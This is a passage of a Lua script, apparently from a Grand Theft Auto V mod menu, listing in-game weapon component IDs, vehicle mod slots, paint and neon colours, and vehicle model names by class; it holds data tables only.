}
}, Flashlight = {
{
name = "Flashlight", id = "COMPONENT_AT_AR_FLSH"
}
}, BarrelAttachments = {
{
name = "Suppressor", id = "COMPONENT_AT_AR_SUPP_02"
}
}, Grips = {
{
name = "Grip", id = "COMPONENT_AT_AR_AFGRIP"
}
}
}
}, SpecialCarbineMkII = {
id = "weapon_specialcarbine_mk2", name = "Special Carbine Mk II",
bInfAmmo = false, mods = {
Magazines = {
{
name = "Default Magazine", id =
"COMPONENT_SPECIALCARBINE_MK2_CLIP_01"
}, {
name = "Extended Magazine", id =
"COMPONENT_SPECIALCARBINE_MK2_CLIP_02"
}, {
name = "Tracer Rounds", id =
"COMPONENT_SPECIALCARBINE_MK2_CLIP_TRACER"
}, {
name = "Incendiary Rounds", id =
"COMPONENT_SPECIALCARBINE_MK2_CLIP_INCENDIARY"
}, {
name = "Hollow Point Rounds", id =
"COMPONENT_SPECIALCARBINE_MK2_CLIP_ARMORPIERCING"
}, {
name = "FMJ Rounds", id =
"COMPONENT_SPECIALCARBINE_MK2_CLIP_FMJ"
}
}, Sights = {
{
name = "Holograhpic Sight", id = "COMPONENT_AT_SIGHTS"
}, {
name = "Small Scope", id =
"COMPONENT_AT_SCOPE_MACRO_MK2"
}, {
name = "Large Scope", id =
"COMPONENT_AT_SCOPE_MEDIUM_MK2"
}
}, Flashlight = {
{
name = "Flashlight", id = "COMPONENT_AT_AR_FLSH"
}
}, Barrel = {
{
name = "Default", id = "COMPONENT_AT_SC_BARREL_01"
}, {
name = "Heavy", id = "COMPONENT_AT_SC_BARREL_02"
}
}, BarrelAttachments = {
{
name = "Suppressor", id = "COMPONENT_AT_AR_SUPP_02"
}, {
name = "Flat Muzzle Brake", id =
"COMPONENT_AT_MUZZLE_01"
}, {
name = "Tactical Muzzle Brake", id =
"COMPONENT_AT_MUZZLE_02"
}, {
name = "Fat-End Muzzle Brake", id =
"COMPONENT_AT_MUZZLE_03"
}, {
name = "Precision Muzzle Brake", id =
"COMPONENT_AT_MUZZLE_04"
}, {
name = "Heavy Duty Muzzle Brake", id =
"COMPONENT_AT_MUZZLE_05"
}, {
name = "Slanted Muzzle Brake", id =
"COMPONENT_AT_MUZZLE_06"
}, {
name = "Split-End Muzzle Brake", id =
"COMPONENT_AT_MUZZLE_07"
}
}, Grips = {
{
name = "Grip", id = "COMPONENT_AT_AR_AFGRIP_02"
}
}
}
}, BullpupRifle = {
id = "weapon_bullpuprifle", name = "Bullpup Rifle", bInfAmmo =
false, mods = {
Magazines = {
{
name = "Default Magazine", id =
"COMPONENT_BULLPUPRIFLE_CLIP_01"
}, {
name = "Extended Magazine", id =
"COMPONENT_BULLPUPRIFLE_CLIP_02"
}
}, Sights = {
{
name = "Scope", id = "COMPONENT_AT_SCOPE_SMALL"
}
}, Flashlight = {
{
name = "Flashlight", id = "COMPONENT_AT_AR_FLSH"
}
}, BarrelAttachments = {
{
name = "Suppressor", id = "COMPONENT_AT_AR_SUPP"
}
}, Grips = {
{
name = "Grip", id = "COMPONENT_AT_AR_AFGRIP"
}
}
}
}, BullpupRifleMkII = {
id = "weapon_bullpuprifle_mk2", name = "Bullpup Rifle Mk II",
bInfAmmo = false, mods = {
Magazines = {
{
name = "Default Magazine", id =
"COMPONENT_BULLPUPRIFLE_MK2_CLIP_01"
}, {
name = "Extended Magazine", id =
"COMPONENT_BULLPUPRIFLE_MK2_CLIP_02"
}, {
name = "Tracer Rounds", id =
"COMPONENT_BULLPUPRIFLE_MK2_CLIP_TRACER"
}, {
name = "Incendiary Rounds", id =
"COMPONENT_BULLPUPRIFLE_MK2_CLIP_INCENDIARY"
}, {
name = "Armor Piercing Rounds", id =
"COMPONENT_BULLPUPRIFLE_MK2_CLIP_ARMORPIERCING"
}, {
name = "FMJ Rounds", id =
"COMPONENT_BULLPUPRIFLE_MK2_CLIP_FMJ"
}
}, Sights = {
{
name = "Holograhpic Sight", id = "COMPONENT_AT_SIGHTS"
}, {
name = "Small Scope", id =
"COMPONENT_AT_SCOPE_MACRO_02_MK2"
}, {
name = "Medium Scope", id =
"COMPONENT_AT_SCOPE_SMALL_MK2"
}
}, Flashlight = {
{
name = "Flashlight", id = "COMPONENT_AT_AR_FLSH"
}
}, Barrel = {
{
name = "Default", id = "COMPONENT_AT_BP_BARREL_01"
}, {
name = "Heavy", id = "COMPONENT_AT_BP_BARREL_02"
}
}, BarrelAttachments = {
{
name = "Suppressor", id = "COMPONENT_AT_AR_SUPP"
}, {
name = "Flat Muzzle Brake", id =
"COMPONENT_AT_MUZZLE_01"
}, {
name = "Tactical Muzzle Brake", id =
"COMPONENT_AT_MUZZLE_02"
}, {
name = "Fat-End Muzzle Brake", id =
"COMPONENT_AT_MUZZLE_03"
}, {
name = "Precision Muzzle Brake", id =
"COMPONENT_AT_MUZZLE_04"
}, {
name = "Heavy Duty Muzzle Brake", id =
"COMPONENT_AT_MUZZLE_05"
}, {
name = "Slanted Muzzle Brake", id =
"COMPONENT_AT_MUZZLE_06"
}, {
name = "Split-End Muzzle Brake", id =
"COMPONENT_AT_MUZZLE_07"
}
}, Grips = {
{
name = "Grip", id = "COMPONENT_AT_AR_AFGRIP"
}
}
}
}, CompactRifle = {
id = "weapon_compactrifle", name = "Compact Rifle", bInfAmmo =
false, mods = {
Magazines = {
{
name = "Default Magazine", id =
"COMPONENT_COMPACTRIFLE_CLIP_01"
}, {
name = "Extended Magazine", id =
"COMPONENT_COMPACTRIFLE_CLIP_02"
}, {
name = "Drum Magazine", id =
"COMPONENT_COMPACTRIFLE_CLIP_03"
}
}
}
}
}, LMG = {
MG = {
id = "weapon_mg", name = "MG", bInfAmmo = false, mods = {
Magazines = {
{
name = "Default Magazine", id = "COMPONENT_MG_CLIP_01"
}, {
name = "Extended Magazine", id = "COMPONENT_MG_CLIP_02"
}
}, Sights = {
{
name = "Scope", id = "COMPONENT_AT_SCOPE_SMALL_02"
}
}
}
}, CombatMG = {
id = "weapon_combatmg", name = "Combat MG", bInfAmmo = false, mods
= {
Magazines = {
{
name = "Default Magazine", id =
"COMPONENT_COMBATMG_CLIP_01"
}, {
name = "Extended Magazine", id =
"COMPONENT_COMBATMG_CLIP_02"
}
}, Sights = {
{
name = "Scope", id = "COMPONENT_AT_SCOPE_MEDIUM"
}
}, Grips = {
{
name = "Grip", id = "COMPONENT_AT_AR_AFGRIP"
}
}
}
}, CombatMGMkII = {
id = "weapon_combatmg_mk2", name = "Combat MG Mk II", bInfAmmo =
false, mods = {
Magazines = {
{
name = "Default Magazine", id =
"COMPONENT_COMBATMG_MK2_CLIP_01"
}, {
name = "Extended Magazine", id =
"COMPONENT_COMBATMG_MK2_CLIP_02"
}, {
name = "Tracer Rounds", id =
"COMPONENT_COMBATMG_MK2_CLIP_TRACER"
}, {
name = "Incendiary Rounds", id =
"COMPONENT_COMBATMG_MK2_CLIP_INCENDIARY"
}, {
name = "Hollow Point Rounds", id =
"COMPONENT_COMBATMG_MK2_CLIP_ARMORPIERCING"
}, {
name = "FMJ Rounds", id =
"COMPONENT_COMBATMG_MK2_CLIP_FMJ"
}
}, Sights = {
{
name = "Holograhpic Sight", id = "COMPONENT_AT_SIGHTS"
}, {
name = "Medium Scope", id =
"COMPONENT_AT_SCOPE_SMALL_MK2"
}, {
name = "Large Scope", id =
"COMPONENT_AT_SCOPE_MEDIUM_MK2"
}
}, Barrel = {
{
name = "Default", id = "COMPONENT_AT_MG_BARREL_01"
}, {
name = "Heavy", id = "COMPONENT_AT_MG_BARREL_02"
}
}, BarrelAttachments = {
{
name = "Flat Muzzle Brake", id =
"COMPONENT_AT_MUZZLE_01"
}, {
name = "Tactical Muzzle Brake", id =
"COMPONENT_AT_MUZZLE_02"
}, {
name = "Fat-End Muzzle Brake", id =
"COMPONENT_AT_MUZZLE_03"
}, {
name = "Precision Muzzle Brake", id =
"COMPONENT_AT_MUZZLE_04"
}, {
name = "Heavy Duty Muzzle Brake", id =
"COMPONENT_AT_MUZZLE_05"
}, {
name = "Slanted Muzzle Brake", id =
"COMPONENT_AT_MUZZLE_06"
}, {
name = "Split-End Muzzle Brake", id =
"COMPONENT_AT_MUZZLE_07"
}
}, Grips = {
{
name = "Grip", id = "COMPONENT_AT_AR_AFGRIP_02"
}
}
}
}, GusenbergSweeper = {
id = "weapon_gusenberg", name = "GusenbergSweeper", bInfAmmo =
false, mods = {
Magazines = {
{
name = "Default Magazine", id =
"COMPONENT_GUSENBERG_CLIP_01"
}, {
name = "Extended Magazine", id =
"COMPONENT_GUSENBERG_CLIP_02"
}
}
}
}
}, Snipers = {
SniperRifle = {
id = "weapon_sniperrifle", name = "Sniper Rifle", bInfAmmo = false,
mods = {
Sights = {
{
name = "Scope", id = "COMPONENT_AT_SCOPE_LARGE"
}, {
name = "Advanced Scope", id = "COMPONENT_AT_SCOPE_MAX"
}
}, BarrelAttachments = {
{
name = "Suppressor", id = "COMPONENT_AT_AR_SUPP_02"
}
}
}
}, HeavySniper = {
id = "weapon_heavysniper", name = "Heavy Sniper", bInfAmmo = false,
mods = {
Sights = {
{
name = "Scope", id = "COMPONENT_AT_SCOPE_LARGE"
}, {
name = "Advanced Scope", id = "COMPONENT_AT_SCOPE_MAX"
}
}
}
}, HeavySniperMkII = {
id = "weapon_heavysniper_mk2", name = "Heavy Sniper Mk II",
bInfAmmo = false, mods = {
Magazines = {
{
name = "Default Magazine", id =
"COMPONENT_HEAVYSNIPER_MK2_CLIP_01"
}, {
name = "Extended Magazine", id =
"COMPONENT_HEAVYSNIPER_MK2_CLIP_02"
}, {
name = "Incendiary Rounds", id =
"COMPONENT_HEAVYSNIPER_MK2_CLIP_INCENDIARY"
}, {
name = "Armor Piercing Rounds", id =
"COMPONENT_HEAVYSNIPER_MK2_CLIP_ARMORPIERCING"
}, {
name = "FMJ Rounds", id =
"COMPONENT_HEAVYSNIPER_MK2_CLIP_FMJ"
}, {
name = "Explosive Rounds", id =
"COMPONENT_HEAVYSNIPER_MK2_CLIP_EXPLOSIVE"
}
}, Sights = {
{
name = "Zoom Scope", id =
"COMPONENT_AT_SCOPE_LARGE_MK2"
}, {
name = "Advanced Scope", id = "COMPONENT_AT_SCOPE_MAX"
}, {
name = "Nigt Vision Scope", id =
"COMPONENT_AT_SCOPE_NV"
}, {
name = "Thermal Scope", id =
"COMPONENT_AT_SCOPE_THERMAL"
}
}, Barrel = {
{
name = "Default", id = "COMPONENT_AT_SR_BARREL_01"
}, {
name = "Heavy", id = "COMPONENT_AT_SR_BARREL_02"
}
}, BarrelAttachments = {
{
name = "Suppressor", id = "COMPONENT_AT_SR_SUPP_03"
}, {
name = "Squared Muzzle Brake", id =
"COMPONENT_AT_MUZZLE_08"
}, {
name = "Bell-End Muzzle Brake", id =
"COMPONENT_AT_MUZZLE_09"
}
}
}
}, MarksmanRifle = {
id = "weapon_marksmanrifle", name = "Marksman Rifle", bInfAmmo =
false, mods = {
Magazines = {
{
name = "Default Magazine", id =
"COMPONENT_MARKSMANRIFLE_CLIP_01"
}, {
name = "Extended Magazine", id =
"COMPONENT_MARKSMANRIFLE_CLIP_02"
}
}, Sights = {
{
name = "Scope", id =
"COMPONENT_AT_SCOPE_LARGE_FIXED_ZOOM"
}
}, Flashlight = {
{
name = "Flashlight", id = "COMPONENT_AT_AR_FLSH"
}
}, BarrelAttachments = {
{
name = "Suppressor", id = "COMPONENT_AT_AR_SUPP"
}
}, Grips = {
{
name = "Grip", id = "COMPONENT_AT_AR_AFGRIP"
}
}
}
}, MarksmanRifleMkII = {
id = "weapon_marksmanrifle_mk2", name = "Marksman Rifle Mk II",
bInfAmmo = false, mods = {
Magazines = {
{
name = "Default Magazine", id =
"COMPONENT_MARKSMANRIFLE_MK2_CLIP_01"
}, {
name = "Extended Magazine", id =
"COMPONENT_MARKSMANRIFLE_MK2_CLIP_02"
}, {
name = "Tracer Rounds", id =
"COMPONENT_MARKSMANRIFLE_MK2_CLIP_TRACER"
}, {
name = "Incendiary Rounds", id =
"COMPONENT_MARKSMANRIFLE_MK2_CLIP_INCENDIARY"
}, {
name = "Hollow Point Rounds", id =
"COMPONENT_MARKSMANRIFLE_MK2_CLIP_ARMORPIERCING"
}, {
name = "FMJ Rounds", id =
"COMPONENT_MARKSMANRIFLE_MK2_CLIP_FMJ "
}
}, Sights = {
{
name = "Holograhpic Sight", id = "COMPONENT_AT_SIGHTS"
}, {
name = "Large Scope", id =
"COMPONENT_AT_SCOPE_MEDIUM_MK2"
}, {
name = "Zoom Scope", id =
"COMPONENT_AT_SCOPE_LARGE_FIXED_ZOOM_MK2"
}
}, Flashlight = {
{
name = "Flashlight", id = "COMPONENT_AT_AR_FLSH"
}
}, Barrel = {
{
name = "Default", id = "COMPONENT_AT_MRFL_BARREL_01"
}, {
name = "Heavy", id = "COMPONENT_AT_MRFL_BARREL_02"
}
}, BarrelAttachments = {
{
name = "Suppressor", id = "COMPONENT_AT_AR_SUPP"
}, {
name = "Flat Muzzle Brake", id =
"COMPONENT_AT_MUZZLE_01"
}, {
name = "Tactical Muzzle Brake", id =
"COMPONENT_AT_MUZZLE_02"
}, {
name = "Fat-End Muzzle Brake", id =
"COMPONENT_AT_MUZZLE_03"
}, {
name = "Precision Muzzle Brake", id =
"COMPONENT_AT_MUZZLE_04"
}, {
name = "Heavy Duty Muzzle Brake", id =
"COMPONENT_AT_MUZZLE_05"
}, {
name = "Slanted Muzzle Brake", id =
"COMPONENT_AT_MUZZLE_06"
}, {
name = "Split-End Muzzle Brake", id =
"COMPONENT_AT_MUZZLE_07"
}
}, Grips = {
{
name = "Grip", id = "COMPONENT_AT_AR_AFGRIP_02"
}
}
}
}
}, Heavy = {
RPG = {
id = "weapon_rpg", name = "RPG", bInfAmmo = false, mods = {}
}, GrenadeLauncher = {
id = "weapon_grenadelauncher", name = "Grenade Launcher", bInfAmmo
= false, mods = {}
}, GrenadeLauncherSmoke = {
id = "weapon_grenadelauncher_smoke", name = "Grenade Launcher
Smoke", bInfAmmo = false, mods = {}
}, Minigun = {
id = "weapon_minigun", name = "Minigun", bInfAmmo = false, mods =
{}
}, FireworkLauncher = {
id = "weapon_firework", name = "Firework Launcher", bInfAmmo =
false, mods = {}
}, Railgun = {
id = "weapon_railgun", name = "Railgun", bInfAmmo = false, mods =
{}
}, HomingLauncher = {
id = "weapon_hominglauncher", name = "Homing Launcher", bInfAmmo =
false, mods = {}
}, CompactGrenadeLauncher = {
id = "weapon_compactlauncher", name = "Compact Grenade Launcher",
bInfAmmo = false, mods = {}
}, Widowmaker = {
id = "weapon_rayminigun", name = "Widowmaker", bInfAmmo = false,
mods = {}
}
}, Throwables = {
Grenade = {
id = "weapon_grenade", name = "Grenade", bInfAmmo = false, mods =
{}
}, BZGas = {
id = "weapon_bzgas", name = "BZ Gas", bInfAmmo = false, mods = {}
}, MolotovCocktail = {
id = "weapon_molotov", name = "Molotov Cocktail", bInfAmmo = false,
mods = {}
}, StickyBomb = {
id = "weapon_stickybomb", name = "Sticky Bomb", bInfAmmo = false,
mods = {}
}, ProximityMines = {
id = "weapon_proxmine", name = "Proximity Mines", bInfAmmo = false,
mods = {}
}, Snowballs = {
id = "weapon_snowball", name = "Snowballs", bInfAmmo = false, mods
= {}
}, PipeBombs = {
id = "weapon_pipebomb", name = "Pipe Bombs", bInfAmmo = false, mods
= {}
}, Baseball = {
id = "weapon_ball", name = "Baseball", bInfAmmo = false, mods = {}
}, TearGas = {
id = "weapon_smokegrenade", name = "Tear Gas", bInfAmmo = false,
mods = {}
}, Flare = {
id = "weapon_flare", name = "Flare", bInfAmmo = false, mods = {}
}
}, Misc = {
Parachute = {
id = "gadget_parachute", name = "Parachute", bInfAmmo = false, mods
= {}
}, FireExtinguisher = {
id = "weapon_fireextinguisher", name = "Fire Extinguisher",
bInfAmmo = false, mods = {}
}
}
}

local bd = {
{
name = "Spoilers", id = 0
}, {
name = "Front Bumper", id = 1
}, {
name = "Rear Bumper", id = 2
}, {
name = "Side Skirt", id = 3
}, {
name = "Exhaust", id = 4
}, {
name = "Frame", id = 5
}, {
name = "Grille", id = 6
}, {
name = "Hood", id = 7
}, {
name = "Fender", id = 8
}, {
name = "Right Fender", id = 9
}, {
name = "Roof", id = 10
}, {
name = "Vanity Plates", id = 25
}, {
name = "Trim", id = 27
}, {
name = "Ornaments", id = 28
}, {
name = "Dashboard", id = 29
}, {
name = "Dial", id = 30
}, {
name = "Door Speaker", id = 31
}, {
name = "Seats", id = 32
}, {
name = "Steering Wheel", id = 33
}, {
name = "Shifter Leavers", id = 34
}, {
name = "Plaques", id = 35
}, {
name = "Speakers", id = 36
}, {
name = "Trunk", id = 37
}, {
name = "Hydraulics", id = 38
}, {
name = "Engine Block", id = 39
}, {
name = "Air Filter", id = 40
}, {
name = "Struts", id = 41
}, {
name = "Arch Cover", id = 42
}, {
name = "Aerials", id = 43
}, {
name = "Trim 2", id = 44
}, {
name = "Tank", id = 45
}, {
name = "Windows", id = 46
}, {
name = "Livery", id = 48
}, {
name = "Wheels", id = 23
}, {
name = "Wheel Types", id = "wheeltypes"
}, {
name = "Extras", id = "extra"
}, {
name = "Neons", id = "neon"
}, {
name = "Paint", id = "paint"
}, {
name = "Headlights Color", id = "headlight"
}, {
name = "Licence Plate", id = "licence"
}
}

local be = {
{
name = "Engine", id = 11
}, {
name = "Brakes", id = 12
}, {
name = "Transmission", id = 13
}, {
name = "Suspension", id = 15
}
}

local bo = {
{
name = "Default", id = -1
}, {
name = "White", id = 0
}, {
name = "Blue", id = 1
}, {
name = "Electric Blue", id = 2
}, {
name = "Mint Green", id = 3
}, {
name = "Lime Green", id = 4
}, {
name = "Yellow", id = 5
}, {
name = "Golden Shower", id = 6
}, {
name = "Orange", id = 7
}, {
name = "Red", id = 8
}, {
name = "Pony Pink", id = 9
}, {
name = "Hot Pink", id = 10
}, {
name = "Purple", id = 11
}, {
name = "Blacklight", id = 12
}
}

local colors = {
["White"] = {
255, 255, 255
}, ["Blue"] = {
0, 0, 255
}, ["Electric Blue"] = {
0, 150, 255
}, ["Mint Green"] = {
50, 255, 155
}, ["Lime Green"] = {
0, 255, 0
}, ["Yellow"] = {
255, 255, 0
}, ["Golden Shower"] = {
204, 204, 0
}, ["Orange"] = {
255, 128, 0
}, ["Red"] = {
255, 0, 0
}, ["Pony Pink"] = {
255, 102, 255
}, ["Hot Pink"] = {
255, 0, 255
}, ["Purple"] = {
153, 0, 153
}
}

local bg = {
{
name = "Black", id = 0
}, {
name = "Carbon Black", id = 147
}, {
name = "Graphite", id = 1
}, {
name = "Anhracite Black", id = 11
}, {
name = "Black Steel", id = 2
}, {
name = "Dark Steel", id = 3
}, {
name = "Silver", id = 4
}, {
name = "Bluish Silver", id = 5
}, {
name = "Rolled Steel", id = 6
}, {
name = "Shadow Silver", id = 7
}, {
name = "Stone Silver", id = 8
}, {
name = "Midnight Silver", id = 9
}, {
name = "Cast Iron Silver", id = 10
}, {
name = "Red", id = 27
}, {
name = "Torino Red", id = 28
}, {
name = "Formula Red", id = 29
}, {
name = "Lava Red", id = 150
}, {
name = "Blaze Red", id = 30
}, {
name = "Grace Red", id = 31
}, {
name = "Garnet Red", id = 32
}, {
name = "Sunset Red", id = 33
}, {
name = "Cabernet Red", id = 34
}, {
name = "Wine Red", id = 143
}, {
name = "Candy Red", id = 35
}, {
name = "Hot Pink", id = 135
}, {
name = "Pfsiter Pink", id = 137
}, {
name = "Salmon Pink", id = 136
}, {
name = "Sunrise Orange", id = 36
}, {
name = "Orange", id = 38
}, {
name = "Bright Orange", id = 138
}, {
name = "Gold", id = 99
}, {
name = "Bronze", id = 90
}, {
name = "Yellow", id = 88
}, {
name = "Race Yellow", id = 89
}, {
name = "Dew Yellow", id = 91
}, {
name = "Dark Green", id = 49
}, {
name = "Racing Green", id = 50
}, {
name = "Sea Green", id = 51
}, {
name = "Olive Green", id = 52
}, {
name = "Bright Green", id = 53
}, {
name = "Gasoline Green", id = 54
}, {
name = "Lime Green", id = 92
}, {
name = "Midnight Blue", id = 141
}, {
name = "Galaxy Blue", id = 61
}, {
name = "Dark Blue", id = 62
}, {
name = "Saxon Blue", id = 63
}, {
name = "Blue", id = 64
}, {
name = "Mariner Blue", id = 65
}, {
name = "Harbor Blue", id = 66
}, {
name = "Diamond Blue", id = 67
}, {
name = "Surf Blue", id = 68
}, {
name = "Nautical Blue", id = 69
}, {
name = "Racing Blue", id = 73
}, {
name = "Ultra Blue", id = 70
}, {
name = "Light Blue", id = 74
}, {
name = "Chocolate Brown", id = 96
}, {
name = "Bison Brown", id = 101
}, {
name = "Creeen Brown", id = 95
}, {
name = "Feltzer Brown", id = 94
}, {
name = "Maple Brown", id = 97
}, {
name = "Beechwood Brown", id = 103
}, {
name = "Sienna Brown", id = 104
}, {
name = "Saddle Brown", id = 98
}, {
name = "Moss Brown", id = 100
}, {
name = "Woodbeech Brown", id = 102
}, {
name = "Straw Brown", id = 99
}, {
name = "Sandy Brown", id = 105
}, {
name = "Bleached Brown", id = 106
}, {
name = "Schafter Purple", id = 71
}, {
name = "Spinnaker Purple", id = 72
}, {
name = "Midnight Purple", id = 142
}, {
name = "Bright Purple", id = 145
}, {
name = "Cream", id = 107
}, {
name = "Ice White", id = 111
}, {
name = "Frost White", id = 112
}
}

local bi = {
{
name = "Black", id = 12
}, {
name = "Gray", id = 13
}, {
name = "Light Gray", id = 14
}, {
name = "Ice White", id = 131
}, {
name = "Blue", id = 83
}, {
name = "Dark Blue", id = 82
}, {
name = "Midnight Blue", id = 84
}, {
name = "Midnight Purple", id = 149
}, {
name = "Schafter Purple", id = 148
}, {
name = "Red", id = 39
}, {
name = "Dark Red", id = 40
}, {
name = "Orange", id = 41
}, {
name = "Yellow", id = 42
}, {
name = "Lime Green", id = 55
}, {
name = "Green", id = 128
}, {
name = "Forest Green", id = 151
}, {
name = "Foliage Green", id = 155
}, {
name = "Olive Darb", id = 152
}, {
name = "Dark Earth", id = 153
}, {
name = "Desert Tan", id = 154
}
}

local bj = {
{
name = "Brushed Steel", id = 117
}, {
name = "Brushed Black Steel", id = 118
}, {
name = "Brushed Aluminum", id = 119
}, {
name = "Pure Gold", id = 158
}, {
name = "Brushed Gold", id = 159
}
}

local aA = {
"Dinghy", "Dinghy2", "Dinghy3", "Dingh4", "Jetmax", "Marquis", "Seashark",
"Seashark2", "Seashark3", "Speeder", "Speeder2", "Squalo", "Submersible",
"Submersible2", "Suntrap", "Toro", "Toro2", "Tropic", "Tropic2", "Tug"
}
local aB = {
"Benson", "Biff", "Cerberus", "Cerberus2", "Cerberus3", "Hauler",
"Hauler2", "Mule", "Mule2", "Mule3", "Mule4", "Packer", "Phantom", "Phantom2",
"Phantom3", "Pounder", "Pounder2", "Stockade", "Stockade3", "Terbyte"
}
local aC = {
"Blista", "Blista2", "Blista3", "Brioso", "Dilettante", "Dilettante2",
"Issi2", "Issi3", "issi4", "Iss5", "issi6", "Panto", "Prarire", "Rhapsody"
}
local aD = {
"CogCabrio", "Exemplar", "F620", "Felon", "Felon2", "Jackal", "Oracle",
"Oracle2", "Sentinel", "Sentinel2", "Windsor", "Windsor2", "Zion", "Zion2"
}
local aE = {
"Bmx", "Cruiser", "Fixter", "Scorcher", "Tribike", "Tribike2", "tribike3"
}
local aF = {
"ambulance", "FBI", "FBI2", "FireTruk", "PBus", "police", "Police2",
"Police3", "Police4", "PoliceOld1", "PoliceOld2", "PoliceT", "Policeb", "Polmav",
"Pranger", "Predator", "Riot", "Riot2", "Sheriff", "Sheriff2"
}
local aG = {
"Akula", "Annihilator", "Buzzard", "Buzzard2", "Cargobob", "Cargobob2",
"Cargobob3", "Cargobob4", "Frogger", "Frogger2", "Havok", "Hunter", "Maverick",
"Savage", "Seasparrow", "Skylift", "Supervolito", "Supervolito2", "Swift",
"Swift2", "Valkyrie", "Valkyrie2", "Volatus"
}
local aH = {
"Bulldozer", "Cutter", "Dump", "Flatbed", "Guardian", "Handler", "Mixer",
"Mixer2", "Rubble", "Tiptruck", "Tiptruck2"
}
local aI = {
"APC", "Barracks", "Barracks2", "Barracks3", "Barrage", "Chernobog",
"Crusader", "Halftrack", "Khanjali", "Rhino", "Scarab", "Scarab2", "Scarab3",
"Thruster", "Trailersmall2"
}
local aJ = {
"Akuma", "Avarus", "Bagger", "Bati2", "Bati", "BF400", "Blazer4",
"CarbonRS", "Chimera", "Cliffhanger", "Daemon", "Daemon2", "Defiler", "Deathbike",
"Deathbike2", "Deathbike3", "Diablous", "Diablous2", "Double", "Enduro", "esskey",
"Faggio2", "Faggio3", "Faggio", "Fcr2", "fcr", "gargoyle", "hakuchou2", "hakuchou",
"hexer", "innovation", "Lectro", "Manchez", "Nemesis", "Nightblade", "Oppressor",
"Oppressor2", "PCJ", "Ratbike", "Ruffian", "Sanchez2", "Sanchez", "Sanctus",
"Shotaro", "Sovereign", "Thrust", "Vader", "Vindicator", "Vortex", "Wolfsbane",
"zombiea", "zombieb"
}
local aK = {
"Blade", "Buccaneer", "Buccaneer2", "Chino", "Chino2", "clique", "Deviant",
"Dominator", "Dominator2", "Dominator3", "Dominator4", "Dominator5", "Dominator6",
"Dukes", "Dukes2", "Ellie", "Faction", "faction2", "faction3", "Gauntlet",
"Gauntlet2", "Hermes", "Hotknife", "Hustler", "Impaler", "Impaler2", "Impaler3",
"Impaler4", "Imperator", "Imperator2", "Imperator3", "Lurcher", "Moonbeam",
"Moonbeam2", "Nightshade", "Phoenix", "Picador", "RatLoader", "RatLoader2",
"Ruiner", "Ruiner2", "Ruiner3", "SabreGT", "SabreGT2", "Sadler2", "Slamvan",
"Slamvan2", "Slamvan3", "Slamvan4", "Slamvan5", "Slamvan6", "Stalion", "Stalion2",
"Tampa", "Tampa3", "Tulip", "Vamos,", "Vigero", "Virgo", "Virgo2", "Virgo3",
"Voodoo", "Voodoo2", "Yosemite"
}
local aL = {
"BFinjection", "Bifta", "Blazer", "Blazer2", "Blazer3", "Blazer5", "Bohdi",
"Brawler", "Bruiser", "Bruiser2", "Bruiser3", "Caracara", "DLoader", "Dune",
"Dune2", "Dune3", "Dune4", "Dune5", "Insurgent", "Insurgent2", "Insurgent3",
"Kalahari", "Kamacho", "LGuard", "Marshall", "Mesa", "Mesa2", "Mesa3", "Monster",
"Monster4", "Monster5", "Nightshark", "RancherXL", "RancherXL2", "Rebel", "Rebel2",
"RCBandito", "Riata", "Sandking", "Sandking2", "Technical", "Technical2",
"Technical3", "TrophyTruck", "TrophyTruck2", "Freecrawler", "Menacer"
}
local aM = {
"AlphaZ1", "Avenger", "Avenger2", "Besra", "Blimp", "blimp2", "Blimp3",
"Bombushka", "Cargoplane", "Cuban800", "Dodo", "Duster", "Howard", "Hydra", "Jet",
"Lazer", "Luxor", "Luxor2", "Mammatus", "Microlight", "Miljet", "Mogul", "Molotok",
"Nimbus", "Nokota", "Pyro", "Rogue", "Seabreeze", "Shamal", "Starling", "Stunt",
"Titan", "Tula", "Velum", "Velum2", "Vestra", "Volatol", "Striekforce"
}
local aN = {
"BJXL", "Baller", "Baller2", "Baller3", "Baller4", "Baller5", "Baller6",
"Cavalcade", "Cavalcade2", "Dubsta", "Dubsta2", "Dubsta3", "FQ2", "Granger",
"Gresley", "Habanero", "Huntley", "Landstalker", "patriot", "Patriot2", "Radi",
"Rocoto", "Seminole", "Serrano", "Toros", "XLS", "XLS2"
}
local aO = {
"Asea", "Asea2", "Asterope", "Cog55", "Cogg552", "Cognoscenti",
"Cognoscenti2", "emperor", "emperor2", "emperor3", "Fugitive", "Glendale", "ingot",
"intruder", "limo2", "premier", "primo", "primo2", "regina", "romero", "stafford",
"Stanier", "stratum", "stretch", "surge", "tailgater", "warrener", "Washington"
}
local aP = {
"Airbus", "Brickade", "Bus", "Coach", "Rallytruck", "Rentalbus", "taxi",
"Tourbus", "Trash", "Trash2", "WastIndr", "PBus2"
}
local aQ = {
"Alpha", "Banshee", "Banshee2", "BestiaGTS", "Buffalo", "Buffalo2",
"Buffalo3", "Carbonizzare", "Comet2", "Comet3", "Comet4", "Comet5", "Coquette",
"Deveste", "Elegy", "Elegy2", "Feltzer2", "Feltzer3", "FlashGT", "Furoregt",
"Fusilade", "Futo", "GB200", "Hotring", "Infernus2", "Italigto", "Jester",
"Jester2", "Khamelion", "Kurama", "Kurama2", "Lynx", "MAssacro", "MAssacro2",
"neon", "Ninef", "ninfe2", "omnis", "Pariah", "Penumbra", "Raiden", "RapidGT",
"RapidGT2", "Raptor", "Revolter", "Ruston", "Schafter2", "Schafter3", "Schafter4",
"Schafter5", "Schafter6", "Schlagen", "Schwarzer", "Sentinel3", "Seven70",
"Specter", "Specter2", "Streiter", "Sultan", "Surano", "Tampa2", "Tropos",
"Verlierer2", "ZR380", "ZR3802", "ZR3803"
}
local aR = {
"Ardent", "BType", "BType2", "BType3", "Casco", "Cheetah2", "Cheburek",
"Coquette2", "Coquette3", "Deluxo", "Fagaloa", "Gt500", "JB700", "JEster3",
"MAmba", "Manana", "Michelli", "Monroe", "Peyote", "Pigalle", "RapidGT3",
"Retinue", "Savastra", "Stinger", "Stingergt", "Stromberg", "Swinger", "Torero",
"Tornado", "Tornado2", "Tornado3", "Tornado4", "Tornado5", "Tornado6", "Viseris",
"Z190", "ZType"
}
local aS = {
"Adder", "Autarch", "Bullet", "Cheetah", "Cyclone", "EntityXF", "Entity2",
"FMJ", "GP1", "Infernus", "LE7B", "Nero", "Nero2", "Osiris", "Penetrator",
"PFister811", "Prototipo", "Reaper", "SC1", "Scramjet", "Sheava", "SultanRS",
"Superd", "T20", "Taipan", "Tempesta", "Tezeract", "Turismo2", "Turismor",
"Tyrant", "Tyrus", "Vacca", "Vagner", "Vigilante", "Visione", "Voltic", "Voltic2",
"Zentorno", "Italigtb", "Italigtb2", "XA21"
}
local aT = {
